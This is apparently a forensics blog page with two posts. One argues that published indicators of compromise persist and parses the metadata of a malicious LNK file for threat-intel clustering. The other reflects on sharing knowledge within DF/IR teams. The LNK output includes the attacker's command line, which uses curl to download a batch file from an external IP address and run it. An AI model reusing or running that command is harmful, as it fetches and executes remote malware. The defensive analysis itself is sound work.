Monday, September 14, 2026

Burn Out, Or Fade Away

I didn't start out in threat intel. I didn't start my career in cybersecurity in DF/IR work. I started doing vulnerability assessments using commercial tools (ISS's Internet Scanner) and well as freely-available tools (i.e., ToneLoc and THCScan, for war dialing). 

Around 2000, I transitioned to DF/IR work, largely as part of an internal, FTE role. We really didn't have "threat intelligence" at the time; in fact, while I heard the term and saw folks pointing at things they called "threat intel" or "CTI", I didn't really start engaging more directly with "threat intelligence" until about 2013 or so. 

I don't have an intel background from the military, nor from LE, but I've been ancillary to and a consumer of "cyber threat intel" long enough to know what I find to be "of value", and truly actionable. I've been actively engaged with customers during incident response, when they've received "threat intel" either prior to or during the incident, and seen their reaction. If I hadn't actually seen the reaction on their face or heard their responses, I've seen what action they've taken. Often, it's been nothing, because the "threat intel" is delivered with a wink and nod, and the customer/recipient has no idea what to do with it. For them, it's not actionable. 

Not long ago, I was engaged in a conversation regarding several IOCs from an incident, and as is often the case, we got to the point where we began discussing going public with our findings. Then came a comment about "burning" the IOCs, with the speaker feeling that once the IOCs were exposed publicly, the threat actor would change their tactics to avoid detection. As part of research I was doing with respect to the incident, I'd found online documentation that included the IOCs going back 2, and even 3 years.

This was not "new", not at all. Almost a decade and a half ago, I'd been working an investigation where we found a really interesting use of the DLL search order issue in Windows, one that allowed a threat actor have their malware actively running on the endpoint. Once we unraveled this, those of us working the investigation thought, "Wow, this is pretty cool!" and wanted to share it publicly. We took it to our manager, who asked if we'd told anyone, to which we replied, "no". We were seeking permission to do just that, and were told to not say anything to anyone. We were rather disappointed when, just a few weeks later, one of our competitors posted publicly about the very thing we'd investigated. 

What the above discussion showed was that, even after the IOCs had been publicly exposed several years ago, here we were seeing the very same IOCs during a current incident. Even though the common belief is that once IOCs are shared in the public arena, threat actors will make changes and shift tactics to avoid future detection, the data was showing us something completely different.

"Burning" an indicator may be true for low-level IOCs such as IP addresses and domain names, but for some of the less-frequently discussed IOCs, those that are further up David Bianco's Pyramid of Pain, may be more difficult or costly for a threat actor to change/modify, particularly if doing so requires a fundamental change in how they do things.

A factor that may lead to the IOCs continuing to appear over time is that the IOCs themselves aren't socialized widely, or detecting those IOCs requires significant change to the impacted infrastructure. Some IOCs may require modifications to audit configuration, or even logs being enabled, and depending upon the maturity of the organization, these modifications may seem out of reach. 

Another factor may be that the IOCs can be detected, but those that detect them  but don't have an appropriate means for response. 

After all, it's 2026, and we still see infrastructures compromised because RDP or MSSQL is open and accessible to the public Internet, or there's an input validation issue in a web page that leads to SQL injection, or there's a 2 or 3 yr old vulnerability to a public-facing application that still hasn't been patched.

LNK Metadata

I ran across this Ctrl-Alt-Intel blog post today, which discusses RustGate v2, and noticed that for all of what was addressed in the blog, there wasn't a great deal of content  regarding the delivery method, the LNK file itself. Figure 1 illustrates what the blog states regarding LNK file metadata, beyond the embedded command line.

Figure 1: Blog excerpt

Okay, but what else can we see from the LNK structure itself? What other IOCs or intelligence can we derive from the file?

guid               {00021401-0000-0000-c000-000000000046}
mtime              Tue Dec  2 04:34:13 2025 Z
atime              Fri Jan  9 09:03:22 2026 Z
ctime              Tue Dec  2 04:34:13 2025 Z
workingdir         C:\Windows\Temp               
basepath           C:\Windows\System32\rundll32.exe
shitemidlist       My Computer/C:\/Windows/System32/rundll32.exe
**Shell Items Details (times in UTC)**
  C:2024-04-01 07:21:18  M:2026-01-05 04:18:54  A:2026-01-09 08:27:14 Windows  (9)  [3515/1]
  C:2024-04-01 07:21:18  M:2026-01-07 04:34:52  A:2026-01-09 08:36:44 System32  (9)  [5285/1]
  C:2025-12-02 04:34:14  M:2025-12-02 04:34:14  A:2026-01-09 08:12:16 rundll32.exe  (9)  
vol_sn             12D9-A76E                     
vol_type           Fixed Disk                    
commandline        shell32.dll,ShellExec_RunDLL "cmd.exe" "start /min /c curl -o C:\Windows\Temp\test.bat 5.252.177.210:8090/test.bat && start /b C:\Windows\Temp\test.bat
iconfilename       C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
hotkey             0x0                             
showcmd            0x7                             

***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasWorkingDir|HasExpIcon|HasLinkInfo|HasArguments|EnableTargetMetadata|HasIconLocation

***PropertyStoreDataBlock***
GUID/ID pairs:
{28636aa6-953d-11d2-b5d6-00c04fd918d0}/30     ParsingPath: C:\Users\Public\Pictures
{446d16b1-8dad-4870-a748-402ea43d788c}/104    VolumeID: {c9e64587-f01c-409d-92c3-497067a5e2ef}
{46588ae2-4cbc-4338-bbfc-139326986dce}/4      SID: S-1-5-21-2202213833-2675363039-2741304641-1002
{b725f130-47ef-101a-a5f1-02608c9eebac}/10     ItemNameDisplay: Public Pictures
{b725f130-47ef-101a-a5f1-02608c9eebac}/14     DateModified: Thu Jan  1 10:55:10 2026 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/15     DateCreated : Mon Apr  1 07:26:08 2024 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/4      ItemType: File folder
{dabd30ed-0043-4789-a7f8-d013a4736622}/100    ItemFolderPathDisplay: Public (C:\Users)

***KnownFolderDataBlock***
GUID  : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

***TrackerDataBlock***
Machine ID            : server
New Droid ID Time     : Thu Jan  8 04:39:44 2026 UTC
New Droid ID Seq Num  : 8270
New Droid    Node ID  : 00:50:56:c0:00:08
Birth Droid ID Time   : Thu Jan  8 04:39:44 2026 UTC
Birth Droid ID Seq Num: 8270
Birth Droid Node ID   : 00:50:56:c0:00:08

As stated in the blog, we can see the Machine ID value, the MAC address, the folder path, and the embedded command line. But there's more available than just those metadata values.

On 5 Dec 2016, JPCERT/CC published a blog post that describes how LNK metadata can provide insight into a threat actor's development environment, and showed what clustering might look like. 

In Nov 2018, then-Mandiant analysts shared insight into Cozy Bear/APT29 phishing campaigns, and in figures 5 & 6, showed how they analyzed LNK metadata between two different campaigns to develop insight into threat actor activity. Tracking multiple LNK files and linking them via identical metadata allows us to do the same, and doing so allows us to develop the same, and additional, insights. 

Looking at the above output, we see multiple data blocks, something that can provide insight into how the LNK file was created. Different tools/methods for creating LNK files provide different metadata content within the LNK file. We also see that all of the metadata is full, completely populated; none of the values are zero'd out. This indicates that the threat actor didn't use a method to create or modify the LNK to remove these values. 

It's pretty clear that LNK files are still widely used as a delivery mechanism; however, threat intel analysts do not appear to be widely tracking them, listing command lines and maybe a file hash in their reports, but little else. Anything a threat actor sends you or makes available is "free money" when it comes to tracking or developing detection opportunities, and we should be taking full advantage of that. 

Thanks to @Ctrl-Alt-Intel for providing a copy of the LNK file for parsing.

Sunday, September 06, 2026

Knowledge Retention & Sharing in DF/IR

I had an opportunity a bit ago to engage with three other folks within the industry, all at the same time, and all of us from varied backgrounds. We had some similarities in our backgrounds, and some overlaps or near-misses in our experiences and employment, but we were all very different folks in the same industry. In a lot of ways, this is what made this a very powerful meeting and discussion. 

We had the meeting because these guys had graciously taken the time out of their day to provide me with a demo of an upcoming product, and following the demo, our conversation leaned toward how this product provided various "skills" that would elevate analysts, providing new, junior, less experienced analysts with the ability to really produce very quickly, while also ideally providing a greatly accelerated growth path. As a result of the conversation, or more accurately, where we left off, I'd like to share some thoughts...

When I started in DF/IR, there was little in the way of publicly available training. Yes, there were vendor certification courses; I availed myself of the EnCase 3.0 Intro course in 1999, provided thru Guidance Software. However, these courses were "how to use the tool" courses, not "what happens under the hood" nor "why you should do certain things" courses. There was no real "why" for the "how"; they'd show us the "how" for something, but there was not real "why" associated with it. "Why would I want to perform that action?" was a question that wasn't really addressed. Even the instructor, who had used the application extensively, had a lot of stories behind the work he'd done, but across the 5 days of the course, there was nothing about, "...this is why you would want to take this action, and here's what you do with the output...". 

There was nothing shared in the way of investigative processes. 

When I started doing DF/IR consulting with ISS in 2006, I was provided with a bunch of equipment...laptops, write-blockers, dongles...and software, with the expectation that I'd "hit the ground running". Like most folks, I had my hiccups along the way, but I figured it out...I had to, as there was no one else on the team providing direction. Yes, we had processes and procedures, and my manager did a lot to engage quite often and assist, but when I was on-site, and even afterward when I'd returned to the office and was doing analysis, I was pretty much on my own. There was no repository of tips, tricks, or lessons learned from the more seasoned members of the team, and there was no internal process on the "team" for recording these sorts of things. 

There was nothing shared in the way of investigative processes. 

And I continued to see this throughout my career, and I worked to change it. After IBM purchased ISS, and our team (then referred to as the "IBM ISS X-Force ERS team") began performing PCI forensic investigations, the PCI Council (re: Visa) required us to perform a series of searches for every case, providing the indicators in a PDF document. Chris Pogue and I wanted to push these investigations (because of the timeframes imposed) toward consistency, so we created condition files for the other certified analysts on our team, which, along with the standard procedure for searching acquired images for credit card numbers (CCNs), as well as the reporting template that Chris put together (he was our team's PCI Council liaison at the time...), we worked hard to provide as much automation to the process as we could. 

We were sharing investigative processes, in the best manner that we could. While we documented these processes, and operationalized them where we could, all of this still required some intentional actions to be taken by the analysts. 

During this time, we ran into another issue. We had to search acquired images for CCNs, and the EnScript we were using relied on the built-in function isValidCreditCard(). For the most part, this worked great, until we ran into a case where JCB and Discover credit cards were processed; the built-in function did not recognize either of these brands as "valid". Chris and I worked together, along with Lance Mueller, to put together an EnScript that overwrote the built-in function and covered all of the valid brands. We did extensive testing, and then provided the updated script along with a tutorial session as to "why" we had to do this.

During the time we were on the team together, Chris and I, and several others, continued this kind of work...learning something, testing it, and then sharing it to not only expand the knowledge of the team, but to also get the process or tool (or combination) tested against scenarios we hadn't yet thought of or experienced.

We were taking individual knowledge and skills, and transitioning them through "tribal" knowledge, and moving beyond "corporate" knowledge into operationalizing the skills as much as we could. The unfortunate reality is that throughout my time in the industry, in the vast majority of instances, we don't move beyond individual knowledge, we don't record and share what we learn, and as an industry, we rarely, if ever, operationalize that knowledge to enable future detections and investigations. This is as true today as it was a decade and a half ago.